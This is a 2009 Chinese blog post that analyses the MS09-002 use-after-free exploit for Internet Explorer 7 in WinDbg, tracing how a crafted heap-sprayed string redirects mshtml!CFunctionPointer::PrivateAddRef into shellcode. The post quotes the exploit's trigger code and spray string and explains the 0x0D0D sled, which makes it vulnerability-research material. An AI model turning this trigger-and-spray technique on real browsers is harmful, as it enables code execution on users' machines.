百度空间 | 百度首页 
 
查看文章
 
MS09-002,刚刚触发了一下……
2009-02-21 22:14

在有漏洞的系统中(或者你主动先把补丁给卸载了)要把对shellcode的调用拦截住很简单。

找个实际的漏洞利用网页,把其中的shellcode的声明语句中的shellcode的内容前面加上"%uCCCC%uCCCC%uCCCC",也就是加上几字节int 3代码。保存网页。如果找不到实际的网页,直接上milw0rm把那个示例扒下来就行。

用IE7打开网页,允许ActiveX对象的执行。当IE7进到shellcode开头的时候会触发其中一个int 3断点(说“其中一个”是因为这个有“或然性”,因为不是直接call进shellcode开头,而是call进前面的"%uODOD"序列,因此哪个int 3被当成int 3要看几率)。这时由于SEH没有处理这个软断点,程序会报错,这时就轮到JIT调试器出场了。

在报错的框里点“调试”(或者实时调试器设置好了自动选项,那么没有提供框直接启动)启动你设置的实时调试器,使IE进程中断到调试器中。

为了方便加载符号和看栈回溯,这里我用了windbg作为JIT调试器。用OD也是一样的。

中断到windbg时的信息(省略N行加载模块的信息):

(f28.460): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=0f6fbffd ebx=00000000 ecx=0b0bffff edx=00000002 esi=039953f0 edi=80020003
eip=0d18ea06 esp=01e6ef0c ebp=01e6ef18 iopl=0         nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000             efl=00000202
0d18ea06 cc              int     3

看看中断时的代码位置:
0:005> u eip l10
0d18ea06 cc              int     3
0d18ea07 cc              int     3
0d18ea08 cc              int     3
0d18ea09 cc              int     3
0d18ea0a cc              int     3
0d18ea0b cc              int     3
0d18ea0c d9e1            fabs
0d18ea0e d93424          fnstenv [esp]
0d18ea11 58              pop     eax
0d18ea12 58              pop     eax
0d18ea13 58              pop     eax
0d18ea14 58              pop     eax
0d18ea15 33db            xor     ebx,ebx
0d18ea17 b31c            mov     bl,1Ch
0d18ea19 03c3            add     eax,ebx
0d18ea1b 31c9            xor     ecx,ecx

可以看到确实是断在shellcode头部了

进行栈回溯,看看是哪个函数call进shellcode里的:
0:005> kv
ChildEBP RetAddr Args to Child             
WARNING: Frame IP not in any known module. Following frames may be wrong.
01e6ef08 42af782d 036ebff8 03742d08 01e6ef2c 0xd18ea06
01e6ef18 42a4dacc 039953f0 03742d08 036ebf78 mshtml!CFunctionPointer::PrivateAddRef+0x1c (FPO: [Non-Fpo])
01e6ef2c 42a0c3d1 0385af80 00000009 03742d08 mshtml!CBase::FetchObject+0x4c (FPO: [Non-Fpo])
01e6ef48 42af7a32 00000001 00000009 03742d08 mshtml!CBase::GetObjectAt+0x2f (FPO: [Non-Fpo])
01e6efcc 42a654a6 036ebf78 80010409 00000409 mshtml!CBase::ContextInvokeEx+0x653 (FPO: [Non-Fpo])
01e6effc 42a654f3 036ebf78 80010409 00000409 mshtml!CElement::ContextInvokeEx+0x70 (FPO: [Non-Fpo])
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Rising\Rav\RavScrCh.dll -
01e6f030 02765d83 036ebf78 80010409 00000409 mshtml!CElement::ContextThunk_InvokeEx+0x44 (FPO: [Non-Fpo])
01e6f2fc 75be348e 11e30990 80010409 00000409 RavScrCh+0x5d83
01e6f334 75be33fe 037407e0 11e30990 80010409 jscript!IDispatchExInvokeEx2+0xac (FPO: [Non-Fpo])
01e6f36c 75be3e09 037407e0 11e30990 80010409 jscript!IDispatchExInvokeEx+0x56 (FPO: [Non-Fpo])
01e6f3dc 75be30eb 037407e0 11e30990 80010409 jscript!InvokeDispatchEx+0x78 (FPO: [Non-Fpo])
01e6f424 75be2b05 037407e0 01e6f474 00000002 jscript!VAR::InvokeByName+0xba (FPO: [Non-Fpo])
01e6f4d8 75be1019 01e6f51c 00000000 003d56e0 jscript!CScriptRuntime::Run+0x9e1 (FPO: [Non-Fpo])
01e6f4f0 75be1b7f 01e6f51c 00000000 00000000 jscript!ScrFncObj::Call+0x8d (FPO: [Non-Fpo])
01e6f560 75bcf9d2 003d56e0 01e6fbe0 00000000 jscript!CSession::Execute+0xa7 (FPO: [Non-Fpo])
01e6f5b0 75bcfdf7 01e6fbe0 01e6fbc0 02784d34 jscript!COleScript::ExecutePendingScripts+0x147 (FPO: [Non-Fpo])
01e6f614 75bcfc46 03883a6c 0385b064 00000000 jscript!COleScript::ParseScriptTextCore+0x243 (FPO: [Non-Fpo])
01e6f640 0276c0f5 0374051c 03883a6c 0385b064 jscript!COleScript::ParseScriptText+0x2b (FPO: [Non-Fpo])
01e6fb10 429e289d 02784d34 03881064 0385b064 RavScrCh!DllUnregisterServer+0x5915
01e6fb70 429e26b7 0385b1e0 036afb20 00000000 mshtml!CScriptCollection::ParseScriptText+0x240 (FPO: [Non-Fpo])

这里由于我这台机安装了瑞星,可以看到有RavScrCh.dll的痕迹。

从栈回溯可以看到是CFunctionPointer::PrivateAddRef这个函数跳进shellcode中的,call代码的下一句代码地址是42af782d
反汇编看一下这个函数:
0:005> uf mshtml!CFunctionPointer::PrivateAddRef
mshtml!CFunctionPointer::PrivateAddRef:
42af7811 8bff            mov     edi,edi
42af7813 55              push    ebp
42af7814 8bec            mov     ebp,esp
42af7816 56              push    esi
42af7817 8b7508          mov     esi,dword ptr [ebp+8]
42af781a 8b4610          mov     eax,dword ptr [esi+10h]
42af781d 85c0            test    eax,eax
42af781f 740c            je      mshtml!CFunctionPointer::PrivateAddRef+0x1c (42af782d)

mshtml!CFunctionPointer::PrivateAddRef+0x10:
42af7821 837e0400        cmp     dword ptr [esi+4],0
42af7825 7406            je      mshtml!CFunctionPointer::PrivateAddRef+0x1c (42af782d)

mshtml!CFunctionPointer::PrivateAddRef+0x16:
42af7827 8b08            mov     ecx,dword ptr [eax]
42af7829 50              push    eax
42af782a ff5104          call    dword ptr [ecx+4]

mshtml!CFunctionPointer::PrivateAddRef+0x1c:
42af782d ff4604          inc     dword ptr [esi+4]
42af7830 33c0            xor     eax,eax
42af7832 5e              pop     esi
42af7833 5d              pop     ebp
42af7834 c20400          ret     4

可以看到,call进shellcode的命令就是这一行:
42af782a ff5104          call    dword ptr [ecx+4]

现在看看怎么进去的,IE中断到windbg里时,寄存器环境是实时环境。
从mshtml!CFunctionPointer::PrivateAddRef的代码中可以看到,它是访问了某个对象的结构,相关的寄存器有esi、ecx等。
看看这几个寄存器的值:
0:005> r esi,ecx
esi=039953f0 ecx=0b0bffff

esi是一个结构的指针,查一下内容:
0:005> dd esi l8
039953f0 42a3b3c0 00000001 00000008 00000000
03995400 036ebff8 80010409 0385b160 00000000

mshtml!CFunctionPointer::PrivateAddRef中取[esi+10h]的值放到eax,可以看到[esi+10h]的值为0x036ebff8,这应该就是call之前的eax值
0:005> dc 036ebff8
036ebff8 0b0bffff 00410041 00410041 00410041 ....A.A.A.A.A.A.
036ec008 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
036ec018 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.

可以看到这里其实是网页中的
var s1=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");
所写入的内容
,前面两个字节被覆盖掉了,但是不影响触发。
而且这时[eax]的值正是0x0b0bffff,与之前用r命令观察到的值一样。
42af782a ff5104          call    dword ptr [ecx+4]
这一行是call的代码,看看相应内存地址
0:005> dd ecx+4
0b0c0003 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
0b0c0013 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
0b0c0023 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
0b0c0033 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
0b0c0043 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
0b0c0053 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
0b0c0063 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
0b0c0073 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
实际上自这里开始到shellcode前面的区域,都被%u0D0D的字节填掉了,从而保证这个call会进入到这里面,而进入后这些%u0D0D变成代码就是:
or      eax,0D0D0D0Dh
因此它实际上只影响eax的值,直到一直到达shellcode开始处。这也是为什么我们断下时的eax的值与call进时eax的值不同。

至此证实,call进shellcode的位置是mshtml!CFunctionPointer::PrivateAddRef。

回过头来看看漏洞利用代码:

var o2 = o1.cloneNode();
o1.clearAttributes(); //clearAttributes方法把结构里的对象释放掉了;
o1=null; CollectGarbage();
for(var x=0;x<a1.length;x++) a1[x].src=s1; //系统马上重新使用刚刚释放掉的空间写入了字符串s1。
o2.click;//结果click的时候触发了

clearAttributes方法把结构里的对象释放掉了之后,紧接着for循环语句就使用了写入了被释放掉的对象空间,向其中写入了特地构造的字符串(其第一个DWORD的内容成为了漏洞触发的关键指针)。

于是之后在使用o2.click的时候,系统调用了mshtml!CFunctionPointer::PrivateAddRef,后者调用对象方法的时候使用了这个指针,而这时这个指针指向的位置刚刚好是之前堆里包含shellcode的代码,于是shellcode就这样被执行了。


类别:默认分类 | 添加到搜藏 | 分享到i贴吧 | 浏览() | 评论 (2)
 
最近读者:
 
网友评论:
1
2009-02-21 22:22 | 回复
学习ing~~~
 
2
2009-02-23 15:05 | 回复
请教一下,你的逆向代码是通过什么工具打开的,为什么可以看到类的各种信息,而我用IDA打开时没有这些信息?
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu